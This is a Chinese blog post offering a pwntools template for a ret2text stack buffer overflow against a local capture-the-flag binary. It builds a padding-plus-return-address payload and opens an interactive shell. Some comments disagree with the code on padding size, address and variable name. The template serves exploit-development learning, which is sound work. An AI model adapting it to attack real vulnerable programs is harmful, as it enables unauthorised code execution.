LUO 一个兴趣使然的人与他兴趣使然的博客

Pwn 常用模板

⚠️ 本文最后更新于2023年11月30日,已经过了293天没有更新,若内容或图片失效,请留言反馈

[ret2text]

#!/usr/bin/python3 
# import pwn 工具包 (pwntools)
from pwn import *

# 将pwn1程序启动为进程
p = process('./pkmon')

# 构建payload,flat是将列表中的元素给组合起来
# "A" * 0x10 这个是vuln函数缓冲区大小
# p64(0xdeadbeef)表示8字节的整数,用来覆盖rbp,这个值可以任意填
# p64(0x400686)返回地址,返回到get_shell函数开头
payload = flat([b'a'*10, p64(0xdeadbeef), p64(0x40072B)])

# 使用gdb附加调试
# gdb.attach(io)

# 暂停,等待按任意健,程序继续往下执行
# pause()

# 接受到Input:字符串后发送payload
p.sendlineafter("Now come up with a name for your Pokemon",payload)
# p.sendlineafter("",1)
# 获取交互式shell环境
p.interactive()